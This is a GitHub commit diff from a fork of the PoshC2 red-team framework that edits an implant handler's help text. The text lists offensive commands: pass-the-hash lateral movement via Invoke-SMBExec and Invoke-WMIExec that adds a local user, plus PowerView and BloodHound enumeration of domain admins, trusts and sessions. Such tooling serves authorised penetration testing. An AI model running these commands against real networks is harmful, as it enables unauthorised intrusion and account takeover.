forked from nettitude/PoshC2_Old
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
081c9e2
commit b2630fd
Showing
3 changed files
with
5,197 additions
and
12,211 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -182,17 +182,16 @@ function Implant-Handler | |
write-host " Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Pass -Command `"net user SMBExec Winter2017 /add`"" -ForegroundColor Green | ||
write-host " Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Pass -Command `"net user SMBExec Winter2017 /add`"" -ForegroundColor Green | ||
write-host " Net View | Net Users | Whoami /groups | Net localgroup administrators | Net Accounts /dom" -ForegroundColor Green | ||
write-host ' Get-NetUser -Filter "(userprincipalname=*@testdomain.com)" | Select-Object samaccountname,userprincipalname' -ForegroundColor Green | ||
write-host ' Get-NetUser -Filter samaccountname=test}' -ForegroundColor Green | ||
write-host ' Get-NetUser | ?{$_.userprinciplename -match "[email protected]"}' -ForegroundColor Green | ||
write-host ' Get-NetUser -Filter | Select-Object samaccountname,userprincipalname' -ForegroundColor Green | ||
write-host ' Get-NetUser -Filter samaccountname=test' -ForegroundColor Green | ||
write-host ' Get-NetUser -Filter userprinciplename=[email protected]' -ForegroundColor Green | ||
write-host ' Get-NetGroup -GroupName "Domain Admins" | %{ Get-NetUser $_.membername } | %{ $a=$_.displayname.split(" ")[0..1] -join " "; Get-NetUser -Filter "(displayname=*$a*)" } | Select-Object -Property displayname,samaccountname' -ForegroundColor Green | ||
write-host ' Get-DomainGroupMember -Recurse "Domain Admins" | Select MemberName' -ForegroundColor Green | ||
write-host " Get-NetDomain | Get-NetDomainController | Get-NetDomainTrust" -ForegroundColor Green | ||
write-host " Get-NetForest | Get-NetForestTrust | Get-NetForestDomain " -ForegroundColor Green | ||
write-host ' Get-NetComputer | Select-String -pattern "Citrix" ' -ForegroundColor Green | ||
write-host ' Get-NetGroup | Select-String -pattern "Internet" ' -ForegroundColor Green | ||
write-host " Get-BloodHoundData -CollectionMethod 'Stealth' | Export-BloodHoundCSV" -ForegroundColor Green | ||
write-host " Get-BloodHoundData | Export-BloodHoundCSV" -ForegroundColor Green | ||
write-host " Get-NetDomainController | Select name | get-netsession | select *username,*CName" -ForegroundColor Green | ||
write-host " Get-DFSshare | get-netsession | Select *username,*CName" -ForegroundColor Green | ||
write-host " Get-NetFileServer | get-netsession | Select *username,*CName" -ForegroundColor Green | ||
|
Oops, something went wrong.